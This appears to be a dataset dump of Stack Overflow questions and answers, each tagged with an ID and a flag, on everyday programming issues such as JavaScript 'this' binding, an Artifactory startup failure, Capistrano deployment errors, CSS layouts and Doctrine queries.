2514485	0	 <p>You need to know both, The RoR framework is an organizational and convenience system if you will, what it organizes is your ruby code.</p> <p>If you have programmed before then here are most of your answers:<br> <a href="http://www.ruby-doc.org/core/" rel="nofollow noreferrer">http://www.ruby-doc.org/core/</a><br> <a href="http://railsapi.com" rel="nofollow noreferrer">http://railsapi.com</a></p>
36150257	1	Probability Distribution Function Python <p>I have a set of raw data and I have to identify the distribution of that data. What is the easiest way to plot a probability distribution function? I have tried fitting it in normal distribution. </p> <p>But I am more curious to know which distribution does the data carry within itself ? </p> <p>I have no code to show my progress as I have failed to find any functions in python that will allow me to test the distribution of the dataset. I do not want to slice the data and force it to fit in may be normal or skew distribution. </p> <p>Is any way to determine the distribution of the dataset ? Any suggestion appreciated.</p> <p>Is this any correct approach ? <a href="http://stackoverflow.com/questions/7062936/probability-distribution-function-in-python">Example</a><br> This is something close what I am looking for but again it fits the data into normal distribution. <a href="http://stackoverflow.com/questions/23251759/how-to-determine-what-is-the-probability-distribution-function-from-a-numpy-arra">Example</a></p> <p>EDIT:</p> <p>The input has million rows and the short sample is given below </p> <pre><code>Hashtag,Frequency #Car,45 #photo,4 #movie,6 #life,1 </code></pre> <p>The frequency ranges from <code>1</code> to <code>20,000</code> count and I am trying to identify the distribution of the frequency of the keywords. I tried plotting a simple histogram but I get the output as a single bar. </p> <p>Code: </p> <pre><code>import pandas import matplotlib.pyplot as plt df = pandas.read_csv('Paris_random_hash.csv', sep=',') plt.hist(df['Frequency']) plt.show() </code></pre> <p>Output <a href="https://i.stack.imgur.com/ZqY70.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ZqY70.png" alt="Output of frequency count"></a></p>
36919928	0	 <p>To understand why it is returning <code>undefined</code> instead of <code>ali</code>, you have to understand <strong>JavaScript binding</strong>.</p> <p>If you are accessing a method through a reference instead of directly through its owner object, as you are doing, the method loses its implicit binding, and <code>this</code> stops referencing its owner object and goes back to its default binding, meaning the global object (or <code>undefined</code> in strict mode).</p> <p>Ultimately, what matters is the manner in which the function is invoked.</p> <p>See below for more information (there are exceptions, but it can be generally summarized as the following):</p> <blockquote> <p><strong><a href="https://github.com/getify/You-Dont-Know-JS/blob/master/this%20%26%20object%20prototypes/ch2.md#determining-this" rel="nofollow">Breakdown from YDKJS: Determining <code>this</code></a></strong></p> <p>Now, we can summarize the rules for determining this from a function call's call-site, in their order of precedence. Ask these questions in this order, and stop when the first rule applies.</p> <ol> <li><p>Is the function called with new (<strong>new binding</strong>)? If so, this is the newly constructed object.</p> <ul> <li>var bar = new foo()</li> </ul></li> <li><p>Is the function called with call or apply (<strong>explicit binding</strong>), even hidden inside a bind hard binding? If so, this is the explicitly specified object.</p> <ul> <li>var bar = foo.call( obj2 )</li> </ul></li> <li><p>Is the function called with a context (<strong>implicit binding</strong>), otherwise known as an owning or containing object? If so, this is that context object.</p> <ul> <li>var bar = obj1.foo()</li> </ul></li> <li><p>Otherwise, default the this (<strong>default binding</strong>). If in strict mode, pick undefined, otherwise pick the global object.</p> <ul> <li>var bar = foo()</li> </ul></li> </ol> </blockquote> <p>Note: In ES6, <code>this</code> is the <strong>lexical <code>this</code></strong> for fat arrow functions <code>=&gt;</code> and with object short hand notation (e.g., <code>sampleMethod() {}</code>), meaning that <code>this</code> takes on the outer context as reference. </p>
15256560	0	 <p>Hard to tell if it's your only problem but <a href="http://msdn.microsoft.com/en-us/library/system.io.ports.serialport.readexisting.aspx" rel="nofollow"><code>SerialPort.ReadExisting()</code></a> only reads the data that is <em>immediately</em> available (ie in the stream and buffer).</p> <p>Your program writes data to the modem, and calls <code>ReadExisting()</code> right away. <code>ReadExisting</code> will return immediately with no data available, since the modem has had no time to respond.</p>
32404260	0	Getting a 404 after starting Artifactory/Tomcat running on centos <p>I'm trying to get Artifactory running on a centos server. This is what I did:</p> <p>Created a new user called artifactory</p> <p>switched to that user</p> <p><code>wget https://bintray.com/artifact/download/jfrog/artifactory-rpms/jfrog-artifactory-oss-4.0.2.rpm</code></p> <p>then followed instructions from artifactorys docs</p> <p><code>rpm -ivh jfrog-artifactory-oss-4.0.2.rpm</code></p> <p><code>service artifactory start</code></p> <p><code>service artifactory check</code></p> <p>I get a pid, which according to docs. Everything is working properly. I then navigate to the webpage, but I get a 404:</p> <blockquote> <p>HTTP Status 404 - /artifactory</p> <p>type Status report</p> <p>message /artifactory</p> <p>description The requested resource is not available.</p> <p>Apache Tomcat/8.0.22</p> </blockquote> <p>I want to check logs, which are apparently located at $ARTIFACTORY_HOME/logs/artifactory.log but dir is not found. Doing echo $ARTIFACTORY_HOME doesn't output anything. I did a find command on artifactory.log but no results. Super confused. Any tips would be appreciated.</p> <p><strong>UPDATE:</strong></p> <p>Here are some log updates as per the tips from JBaruch.</p> <p>I navigated to /var/opt/jfrog/artifactory/tomcat/logs</p> <p>ls showed <code>catalina.2015-09-04.log catalina.out host-manager.2015-09-04.log localhost.2015-09-04.log manager.2015-09-04.log</code></p> <p>Here is a output from catalina.out and from localhost.2015-09-04.log:</p> <p>catalina.out</p> <pre><code>Sep 04, 2015 1:26:30 PM org.apache.coyote.AbstractProtocol init INFO: Initializing ProtocolHandler ["http-nio-8081"] Sep 04, 2015 1:26:30 PM org.apache.tomcat.util.net.NioSelectorPool getSharedSelector INFO: Using a shared selector for servlet write/read Sep 04, 2015 1:26:30 PM org.apache.coyote.AbstractProtocol init INFO: Initializing ProtocolHandler ["ajp-nio-8019"] Sep 04, 2015 1:26:30 PM org.apache.tomcat.util.net.NioSelectorPool getSharedSelector INFO: Using a shared selector for servlet write/read Sep 04, 2015 1:26:30 PM org.apache.catalina.core.StandardService startInternal INFO: Starting service Catalina Sep 04, 2015 1:26:30 PM org.apache.catalina.core.StandardEngine startInternal INFO: Starting Servlet Engine: Apache Tomcat/8.0.22 Sep 04, 2015 1:26:30 PM org.apache.catalina.startup.HostConfig deployDescriptor INFO: Deploying configuration descriptor /opt/jfrog/artifactory/tomcat/conf/Catalina/localhost/artifactory.xml Sep 04, 2015 1:26:32 PM org.apache.catalina.core.StandardContext startInternal SEVERE: One or more listeners failed to start. Full details will be found in the appropriate container log file Sep 04, 2015 1:26:32 PM org.apache.catalina.core.StandardContext startInternal SEVERE: Context [/artifactory] startup failed due to previous errors Sep 04, 2015 1:26:32 PM org.apache.catalina.loader.WebappClassLoaderBase clearReferencesJdbc WARNING: The web application [artifactory] registered the JDBC driver [org.apache.derby.jdbc.AutoloadedDriver] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered. Sep 04, 2015 1:26:32 PM org.apache.catalina.startup.HostConfig deployDescriptor INFO: Deployment of configuration descriptor /opt/jfrog/artifactory/tomcat/conf/Catalina/localhost/artifactory.xml has finished in 2,004 ms Sep 04, 2015 1:26:32 PM org.apache.catalina.startup.HostConfig deployDirectory INFO: Deploying web application directory /opt/jfrog/artifactory/tomcat/webapps/ROOT Sep 04, 2015 1:26:32 PM org.apache.catalina.startup.HostConfig deployDirectory INFO: Deployment of web application directory /opt/jfrog/artifactory/tomcat/webapps/ROOT has finished in 57 ms Sep 04, 2015 1:26:32 PM org.apache.coyote.AbstractProtocol start INFO: Starting ProtocolHandler ["http-nio-8081"] Sep 04, 2015 1:26:32 PM org.apache.coyote.AbstractProtocol start INFO: Starting ProtocolHandler ["ajp-nio-8019"] </code></pre> <p>And for localhost.2015-09-04.log </p> <pre><code>04-Sep-2015 13:26:32.596 SEVERE [localhost-startStop-1] org.apache.catalina.core.StandardContext.listenerStart Error configuring application listener of class org.artifactory.webapp.servlet.ArtifactoryHomeConfigListener java.lang.UnsupportedClassVersionError: org/artifactory/webapp/servlet/ArtifactoryHomeConfigListener : Unsupported major.minor version 52.0 (unable to load class org.artifactory.webapp.servlet.ArtifactoryHomeConfigListener) at org.apache.catalina.loader.WebappClassLoaderBase.findClassInternal(WebappClassLoaderBase.java:2476) at org.apache.catalina.loader.WebappClassLoaderBase.findClass(WebappClassLoaderBase.java:854) at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1274) at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1157) at org.apache.catalina.core.DefaultInstanceManager.loadClass(DefaultInstanceManager.java:520) at org.apache.catalina.core.DefaultInstanceManager.loadClassMaybePrivileged(DefaultInstanceManager.java:501) at org.apache.catalina.core.DefaultInstanceManager.newInstance(DefaultInstanceManager.java:120) at org.apache.catalina.core.StandardContext.listenerStart(StandardContext.java:4651) at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5167) at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150) at org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:725) at org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:701) at org.apache.catalina.core.StandardHost.addChild(StandardHost.java:717) at org.apache.catalina.startup.HostConfig.deployDescriptor(HostConfig.java:586) at org.apache.catalina.startup.HostConfig$DeployDescriptor.run(HostConfig.java:1750) at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471) at java.util.concurrent.FutureTask.run(FutureTask.java:262) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:745) 04-Sep-2015 13:26:32.598 SEVERE [localhost-startStop-1] org.apache.catalina.core.StandardContext.listenerStart Error configuring application listener of class org.artifactory.webapp.servlet.logback.LogbackConfigListener java.lang.UnsupportedClassVersionError: org/artifactory/webapp/servlet/logback/LogbackConfigListener : Unsupported major.minor version 52.0 (unable to load class org.artifactory.webapp.servlet.logback.LogbackConfigListener) at org.apache.catalina.loader.WebappClassLoaderBase.findClassInternal(WebappClassLoaderBase.java:2476) at org.apache.catalina.loader.WebappClassLoaderBase.findClass(WebappClassLoaderBase.java:854) at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1274) at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1157) at org.apache.catalina.core.DefaultInstanceManager.loadClass(DefaultInstanceManager.java:520) at org.apache.catalina.core.DefaultInstanceManager.loadClassMaybePrivileged(DefaultInstanceManager.java:501) at org.apache.catalina.core.DefaultInstanceManager.newInstance(DefaultInstanceManager.java:120) at org.apache.catalina.core.StandardContext.listenerStart(StandardContext.java:4651) at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5167) at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150) at org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:725) at org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:701) at org.apache.catalina.core.StandardHost.addChild(StandardHost.java:717) at org.apache.catalina.startup.HostConfig.deployDescriptor(HostConfig.java:586) at org.apache.catalina.startup.HostConfig$DeployDescriptor.run(HostConfig.java:1750) at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471) at java.util.concurrent.FutureTask.run(FutureTask.java:262) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:745) 04-Sep-2015 13:26:32.600 SEVERE [localhost-startStop-1] org.apache.catalina.core.StandardContext.listenerStart Error configuring application listener of class org.artifactory.webapp.servlet.ArtifactoryContextConfigListener java.lang.UnsupportedClassVersionError: org/artifactory/webapp/servlet/ArtifactoryContextConfigListener : Unsupported major.minor version 52.0 (unable to load class org.artifactory.webapp.servlet.ArtifactoryContextConfigListener) at org.apache.catalina.loader.WebappClassLoaderBase.findClassInternal(WebappClassLoaderBase.java:2476) at org.apache.catalina.loader.WebappClassLoaderBase.findClass(WebappClassLoaderBase.java:854) at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1274) at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1157) at org.apache.catalina.core.DefaultInstanceManager.loadClass(DefaultInstanceManager.java:520) at org.apache.catalina.core.DefaultInstanceManager.loadClassMaybePrivileged(DefaultInstanceManager.java:501) at org.apache.catalina.core.DefaultInstanceManager.newInstance(DefaultInstanceManager.java:120) at org.apache.catalina.core.StandardContext.listenerStart(StandardContext.java:4651) at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5167) at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150) at org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:725) at org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:701) at org.apache.catalina.core.StandardHost.addChild(StandardHost.java:717) at org.apache.catalina.startup.HostConfig.deployDescriptor(HostConfig.java:586) at org.apache.catalina.startup.HostConfig$DeployDescriptor.run(HostConfig.java:1750) at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471) at java.util.concurrent.FutureTask.run(FutureTask.java:262) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:745) 04-Sep-2015 13:26:32.607 SEVERE [localhost-startStop-1] org.apache.catalina.core.StandardContext.listenerStart Skipped installing application listeners due to previous error(s) </code></pre>
35866392	0	My imagePickerController didFinishPickingMediaWithInfo newer get called <p>I try to write an App that needs a screen where you can take multible photos. I have used a code example from <a href="http://makeapppie.com/2015/11/04/how-to-make-xib-based-custom-uiimagepickercontroller-cameras-in-swift/" rel="nofollow">http://makeapppie.com/2015/11/04/how-to-make-xib-based-custom-uiimagepickercontroller-cameras-in-swift/</a>.</p> <p>It seems to be working OK, but my imagePickerController didFinishPickingMediaWithInfo newer get called. I am getting an error message from Xcode "Snapshotting a view that has not been rendered results in an empty snapshot. Ensure your view has been rendered at least once before snapshotting or snapshot after screen updates." It sounds to me like this could be the problem, and I have googled it, but havn't gotten any wiser. A lot of people write it's an Apple bug and I havn't found anybody offering a solution. </p> <p>So do anybody know if it is the Xcode error that is my problem, and in that case have a solution for that or have I written something wrong in my code:</p> <pre><code>import UIKit class ViewController: UIViewController, UIImagePickerControllerDelegate, UINavigationControllerDelegate, CustomOverlayDelegate { var picker = UIImagePickerController() @IBAction func shootPhoto(sender: AnyObject) { if UIImagePickerController.availableCaptureModesForCameraDevice(.Rear) != nil { picker = UIImagePickerController() //make a clean controller picker.allowsEditing = false picker.sourceType = UIImagePickerControllerSourceType.Camera picker.cameraCaptureMode = .Photo picker.showsCameraControls = false //customView stuff let customViewController = CustomOverlayViewController( nibName:"CustomOverlayViewController", bundle: nil ) let customView:CustomOverlayView = customViewController.view as! CustomOverlayView customView.frame = self.picker.view.frame customView.cameraLabel.text = "Hello Cute Camera" customView.delegate = self //presentation of the camera picker.modalPresentationStyle = .FullScreen presentViewController(picker, animated: true,completion: { self.picker.cameraOverlayView = customView }) } else { //no camera found -- alert the user. let alertVC = UIAlertController( title: "No Camera", message: "Sorry, this device has no camera", preferredStyle: .Alert) let okAction = UIAlertAction( title: "OK", style:.Default, handler: nil) alertVC.addAction(okAction) presentViewController( alertVC, animated: true, completion: nil) } } func imagePickerController(picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [String : AnyObject]) { print("didFinishPickingMediaWithInfo") let chosenImage = info[UIImagePickerControllerOriginalImage] as! UIImage //get the image from info UIImageWriteToSavedPhotosAlbum(chosenImage, self,nil, nil) //save to the photo library } //What to do if the image picker cancels. func imagePickerControllerDidCancel(picker: UIImagePickerController) { dismissViewControllerAnimated(true, completion: nil) } //MARK: Custom View Delegates func didCancel(overlayView:CustomOverlayView) { picker.dismissViewControllerAnimated(true, completion: nil) print("dismissed!!") } func didShoot(overlayView:CustomOverlayView) { picker.takePicture() overlayView.cameraLabel.text = "Shot Photo" print("Shot Photo") } func weAreDone(overlayView: CustomOverlayView) { picker.dismissViewControllerAnimated(true, completion: nil) print("We are done!") } } </code></pre>
10715315	0	 <p>The Sonar extension uses the underlying ant task and passes parameters from buildr to ant. The parameters that you can use will be documented in the next release of Buildr. But to get you started here is a simple example that uses all the configuration parameters. The only property that must be set is "enabled", while the remainder attempt to have sensible defaults.</p> <pre><code>require 'buildr/sonar' define "foo" do project.version = "1.0.0" define "bar" do ... end sonar.enabled = true sonar.project_name = 'Foo-Project' sonar.key = 'foo:project' sonar.jdbc_url = 'jdbc:jtds:sqlserver://example.org/SONAR;instance=MyInstance;SelectMethod=Cursor' sonar.jdbc_driver_class_name = 'net.sourceforge.jtds.jdbc.Driver' sonar.jdbc_username = 'sonar' sonar.jdbc_password = 'secret' sonar.host_url = 'http://127.0.0.1:9000' sonar.sources &lt;&lt; project('foo:bar')._(:source, :main, :java) sonar.binaries &lt;&lt; project('foo:bar').compile.target sonar.libraries &lt;&lt; project('foo:bar').compile.dependencies end </code></pre>
29130329	0	 <p>The problem might be the format of the single quotes you have in your script. They appear to be close quotes instead of straight quotes. Try pasting into notepad and deleting/retyping all single quotes, then save.</p>
23255242	0	 <p>This is because the function works in a separate workspace than the rest of the script. What you may want to do is change that last line to:</p> <pre><code>Write-Output "$message$ServiceName is not running attemting to start" </code></pre> <p>Then when you call the function you can do:</p> <pre><code>$Message = StartServiceFunction </code></pre> <p>And then $Message captures any output from the function, which would be the message you wanted to pass.</p> <p>Or just have the function pass the service that isn't running and attempting to start, and run it as $Message += Function such as:</p> <pre><code>$startservice=Start-Service $ServiceName Write-Output "$ServiceName is not running attemting to start" ForEach($servicename in $services) { $Message += FuncCheckService $ServiceName } </code></pre> <p>Alternatively, and I wouldn't recommend doing it this way, you could reference the global variable instead when you update it:</p> <pre><code>$global:message+="$ServiceName is not running attemting to start" </code></pre> <p>That will update the $message variable outside of the function.</p>
23344050	0	 <p>Some of the more common problems when users have to deploy a server is that they have to specify previously the security group that the server has to use. In this security group, is mandatory that you specify the port that you want to use, in order that this port will be opened afterward in the server that you want to deploy.</p> <p>If no security group is specified, by default all ports will be closed and you cannot access to the port 80 or access to the server via SSH using the default port 22 or whatever port that you want to use in your instantiate server.</p>
2051741	0	 <p>To disable cell selection you can implement <code>-(NSIndexPath *)tableView:(UITableView *)tableView willSelectRowAtIndexPath:(NSIndexPath *)indexPath</code> method in table view delegate and return nil if you don't want cell with given NSIndexPath to be selected.<br> As already pointed in other answers to disable cell highlighting you should set its selectionStyle property to UITableViewCellSelectionStyleNone.<br> Also make sure that you set properties correctly when reusing tableviewcells</p>
28281830	0	 <p>You could get the Threads in the next way:</p> <pre><code>public function getThreads($user) { $em = $this-&gt;getEntityManager(); $query = $em-&gt;createQuery( 'SELECT t FROM AcmeMessageBundle:Thread t WHERE :user MEMBER OF t.users ORDER BY t.date DESC' ) -&gt;setParameter('user', $user) -&gt;setMaxResults( 20 ); $threads = $query-&gt;getResult(); return $threads; } </code></pre> <p>And you will receive a Doctrine ArrayCollection of Threads (you need to remove AcmeMessageBundle and put the right name of your Bundle).</p> <p><strong>EDIT:</strong> Reading your question again, and seeing your examples, I think that what you want are not the threads, are the posts of the threads related with the user. You could do this adding a bidirectional relation between your Post and your Thread entities, as below:</p> <p>In the Thread entity, add this:</p> <pre><code>/** * @ORM\OneToMany(targetEntity="\Acme\MessageBundle\Entity\Post", mappedBy="thread") */ private $posts; </code></pre> <p>And in the <em>construct</em> function:</p> <pre><code>$this-&gt;posts = new \Doctrine\Common\Collections\ArrayCollection(); </code></pre> <p>In the Post entity, modify your lines as here:</p> <pre><code>/** * @ORM\ManyToOne(targetEntity="Acme\MessageBundle\Entity\Thread", inversedby="posts") * @ORM\JoinColumn(nullable=false) */ private $thread; </code></pre> <p>And generate the getter and setter for the posts in the Thread entity, so in this way, you can get the posts after you get the threads as above.</p>
6314754	0	android how to put progressdialog in TabActivity <p>I hav an application where I have an TabActivity and which have 2tabs(each tab as an activity) First tab(an activity) loads data from internet. So I want there a progressdialog until the 1st tab(an activity) loads data from internet.</p> <pre><code>ProgressDialog.show(TabHostActivity.this, "Working..", "Downloading Data...",true); pd.dismiss(); </code></pre> <p>only this much code i have which not give satisfaction please anybody tell me what i write to show a progressdialog until it download the data. (means i hav to use thread). Please give me answer along with code Thank you </p>
18271321	0	 <p>You should implement a sliding window approach. In each window, you should apply the SVM to get candidates. Then, once you've done it for the whole image, you should merge the candidates (if you detected an object, then it is very likely that you'll detect it again in shift of a few pixels - that's the meaning of candidates).</p> <p>Take a look at the V&amp;J code at openCV or the latentSVM code (detection by parts) to see how it's done there.</p> <p>By the way, I would use the LatentSVM code (detection by parts) to detect vehicles. It has trained models for cars and for buses.</p> <p>Good luck.</p>
10857763	0	 <p>There is no public <code>NativeMethods</code> class in .NET. It is considered good practice to put calls in a <code>NativeMethods</code> class, so this is probably what you are seeing.</p> <p>You need to use P/Invoke to call Win32 API functions. See <a href="http://msdn.microsoft.com/en-us/library/aa288468%28v=vs.71%29.aspx" rel="nofollow">this tutorial</a>.</p>
8754679	0	 <pre><code>//global flag to check condition var flag = true; $('#yourelement').click(function(){ if(flag == true){ flag = false; $('#yourotherelement').attr('rel', newValue); }else{ flag = true; $('#yourotherelement').attr('rel', oldValue); } }); </code></pre>
21879864	0	 <p>Check my library <a href="https://github.com/sergey-miryanov/linden-google-play" rel="nofollow">https://github.com/sergey-miryanov/linden-google-play</a>. Now it supports Leaderboard, Achievements and CloudSave. Another my lib <a href="https://github.com/sergey-miryanov/linden-google-iap" rel="nofollow">https://github.com/sergey-miryanov/linden-google-iap</a> support in-app purchases for GooglePlay.</p>
3778668	0	 <p>It would not be doing you any favors to help you refactor this code. LINQ to Entities queries are eventually translated into SQL, and this SQL is going to be a mess no matter how good the code looks. You need to reconsider your querying strategy based on the tools your database gives you. Ideally, you should be able to write a query which uses an index.</p> <p>There are two strategies to consider: Collations and schema changes.</p> <p>You haven't mentioned which database you are using, but most databases offer collations which are accent-insensitive for WHERE searches. You should consider changing the collation on the column to one of these.</p> <p>Regarding the dollar signs and the like, you probably won't find a collation which would just ignore these unless you write it yourself. So a different option would be to have a separate column in the database, updated by a trigger, which contains the first and last name with these characters removed. Run your search against that, instead, and an index on these columns can be used.</p>
17053885	0	ERROR - The specified data type is not valid. [ Data type (if known) = varchar ] <p>I have recently installed SQL 2008 R2</p> <pre><code>CREATE TABLE TPERSONS( personid int PRIMARY KEY NOT NULL, lastname varchar(50) NULL, firstname varchar(50) NULL, salary money NULL, managerid int NULL -- foreign key to personid ) </code></pre> <p>I do not understand why I receive this error.</p> <pre><code>Major Error 0x80040E14, Minor Error 26302 ) The specified data type is not valid. [ Data type (if known) = varchar ] </code></pre>
4440999	0	 <p>Any java.util.Collection that does not implement the Set interface. Probably you'll want something that implements a List.</p>
1920724	0	 <p>One reason for using different tablespaces would be a desire to use tablespace transportation for moving data between databases. If you have a limited set of data that you want to move without having to export and import it then tablespace transport is a good option, particularly if it is important for testing reasons that the data have exactly the same physical structure as the source system (for performance analysis work, for example).</p>
32068613	0	 <p>May be unrelated to performance, but the code as it written now has strange parallelization structure.</p> <p>I doubt it can produce correct results, because the <code>while</code> loop inside the <code>parallel</code> does not have barriers (<code>omp master</code> does not have barrier, <code>omp for nowait</code> also does not have barrier). </p> <p>As a result, (1) threads may start <code>omp for</code> loop before the master thread finishes <code>Tree.PreProcessing()</code>, some threads actually may execute <code>omp for</code> any number of times before the master works on single pre-processing step; (2) master may run <code>Tree.PropagatePositions()</code> before other threads finish the <code>omp for</code>; (3) different threads may run different time steps; (4) theoretically the master thread may finish all steps of the <code>while</code> loop before some thread even enters parallel region, and thus some iterations of the <code>omp for</code> loop may be never executed at all.</p> <p>Or am I missing something?</p>
24933644	0	 <p>I had to read your post multiple times to try to get what you were looking for. If I'm reading you correctly, what you want is the first <code>&lt;a&gt;</code> tag to act as a <code>display:block</code> so that when you hover over it the entire width is clickable, but you want the second <code>&lt;a&gt;</code> tag to float to the right on the same line.</p> <p>I believe that <a href="http://jsfiddle.net/Arwxh/" rel="nofollow"><strong>this demo</strong></a> will accomplish what you wish. I changed the order of the anchor links to make it as easy as possible. Also added background colors so you could see what's going on.</p> <pre><code>&lt;li class="file"&gt;&lt;a href="" class="delete"&gt;Delete&lt;/a&gt;&lt;a href=""&gt;Long Link Name&lt;/a&gt; </code></pre> <p>The CSS required would be:</p> <pre><code>ul.tree li { list-style: none; padding: 0px; padding-left: 20px; margin: 0px; white-space: nowrap; } ul.tree a { color: #111; text-decoration: none; display: block; padding: 0px 2px; background-color: gold; //so you can see what's happening } ul.tree .delete { background-color: lightgreen; //so you can see what's happening margin: 0 0 0 5px; display: inline; float: right; } ul.tree a:hover { background-color: lightblue; //so you can see what's happening } .tree li.directory { background: url(/images/directory.png) left top no-repeat; } .tree li.file { background: url(/images/file.png) left top no-repeat; } </code></pre> <p>If changing the order of the anchors is out of the question, I could muck around with some more elaborate CSS, but as the complexity of the CSS increases, so do your chances of it breaking in one browser or the other. </p> <hr> <p><strong>EDIT:</strong> Based on your reply, I've created some CSS to add an ellipsis (…) when the link text is too long. It requires setting a width on the main <code>&lt;ul&gt;</code>, but from your initial question it sounds like you're doing that anyway. You can see the <a href="http://jsfiddle.net/Arwxh/5/" rel="nofollow">updated JSFiddle here</a>, and here's the updated CSS:</p> <pre><code>ul { width: 333px; } ul ul { width: inherit; } a { overflow: hidden; text-overflow: ellipsis; } ul.tree li { list-style: none; padding: 0px; padding-left: 20px; margin: 0px; white-space: nowrap; } ul.tree a { color: #111; text-decoration: none; display: block; padding: 0px 2px; background-color: gold; //so you can see what's happening } ul.tree .delete { background-color: lightgreen; //so you can see what's happening margin: 0 0 0 5px; display: inline; float: right; } ul.tree a:hover { background-color: lightblue; //so you can see what's happening } .tree li.directory { background: url(/images/directory.png) left top no-repeat; } .tree li.file { background: url(/images/file.png) left top no-repeat; } </code></pre> <p><a href="http://jsfiddle.net/Arwxh/" rel="nofollow"><strong>Original Fiddle</strong></a> | <a href="http://jsfiddle.net/Arwxh/5/" rel="nofollow"><strong>Fiddle with long links</strong></a></p>
23938297	0	capistrano - git ls-remote -h doesn't have the git url <p>I'm new to using Capistrano. I set it up correctly, but when I run cap staging deploy I get this -</p> <pre><code>DEBUG [b678d5eb] Command: ( GIT_ASKPASS=/bin/echo GIT_SSH=/tmp/myproj/git-ssh.sh /usr/bin/env git ls-remote -h ) DEBUG [b678d5eb] usage: git ls-remote [--heads] [--tags] [-u &lt;exec&gt; | --upload-pack &lt;exec&gt;] &lt;repository&gt; &lt;refs&gt;... DEBUG [b678d5eb] Finished in 0.325 seconds with exit status 129 (failed). </code></pre> <p>I think the git clone url should follow after the -h, but I'm not sure.</p> <p>I'm using Capistrano 3.2.1. Here's my deploy.rb -</p> <pre><code>lock '3.2.1' set :application, 'myproj' set :repository, 'https://vrao@git.test.com/scm/~vrao/myproj.git' set :scm_passphrase, 'blah' </code></pre> <p>Any help would be great.</p>
11386052	0	How to set a variable value and start running from that in Netbeans? <p>I run a program step by step with monitoring variable's value by watch in <code>Netbeans</code>. How can I start the running of the program from a special value for a variable.</p> <p>For example i have this simple code just for testing: For saving time i want to see the changes of the program after the value of i reaches 25(i=25).</p> <p>Using Run Debug>Run to cursor or f4 to go to this line in program.then the program starts from i=0 , but i don,t need to see the changes before i=25.</p> <pre><code>public class DebugCondition { private static void TestMethod() { for(int i=0; i&lt;= 29 ; i++) 15. System.out.print("i"); } public static void main(String[] args) { 18. TestMethod(); } } </code></pre> <p>What I do: 1. click on line 15.</p> <ol start="2"> <li><p>define conditional breakpoint for that line by i>=25.</p></li> <li><p>click on line 18 , then press F4.</p></li> <li><p>Press F7 to go to method, then press F8 to debug body of method.</p></li> <li><p>Result in watch: at first I starts from 0 . <img src="https://i.stack.imgur.com/PI7Sl.png" alt=""></p></li> </ol> <p>What is wrong?</p>
3765952	0	ipad - keyboard inside popover? <p>Is it possible to have the keyboard show inside a UIPopOver instead of filling the screen width?</p> <p>something like the image...</p> <p><img src="https://i.stack.imgur.com/QOt97.png" alt="alt text"></p>
13015714	0	 <p>Solution: It seems that the Opacity was the guilty one, instead of making it solid, I have set the opacity to .99 and works without any issues.</p>
38657702	0	 <p>Please try the following </p> <pre><code>... if (typeof(conPeek(a, i)) == Types::Container) { info("It's a container"); } ... </code></pre>
10465242	0	ASP.Net/Ruby/PHP MVC Website, jQuery Mobile and Phonegap <p>I have an ASP.Net MVC3 application (it doesn't matter if it is ASP.NET MVC, PHP or RAILS coz in the end it is serving out plaing HTML) which is using jquery mobile and works great in all mobile browsers. The next step for me is to create a native ios app using Phonegap. </p> <p>My guess is all I have to do is in the html page which I put in Phonegap, I will hook into page load event and dynamically load the contents of my MVC view from a remote server.</p> <p>But I am looking for some examples if anyone else has done something similar.</p> <p>-Thanks in advance Nick</p> <p><strong>UPDATE:</strong> I was able to accomplish this by writing the following index.html page. Hope it helps someone else. </p> <p><strong>STILL ISSUES THOUGH</strong> : But having done this...as you may notice I am requesting my ASP.NET MVC page via <a href="http://IP:8081">http://IP:8081</a> URL. This works fine and it loads my page too...but it is not jquery mobile formatted. So, if someone can help me out here, it will be great. </p> <p><strong>EXPLANATION :</strong> Since, the <code>ajax.responseText</code> contains the entire HTML starting from the <code>&lt;!DOCTYPE html&gt;</code> tag... I think it is pretty obvious that I end up inserting an entire HTML page inside my <code>&lt;div data-role="page" id="home"&gt;</code> tag which is obviously wrong but I don't have a solution for it yet :(</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;PhoneGap Ajax Sample&lt;/title&gt; &lt;meta name="viewport" content="width=device-width,initial-scale=1, target-densityDpi=device-dpi"/&gt; &lt;link rel="stylesheet" href="http://code.jquery.com/mobile/1.1.0/jquery.mobile-1.1.0.min.css" /&gt; &lt;script 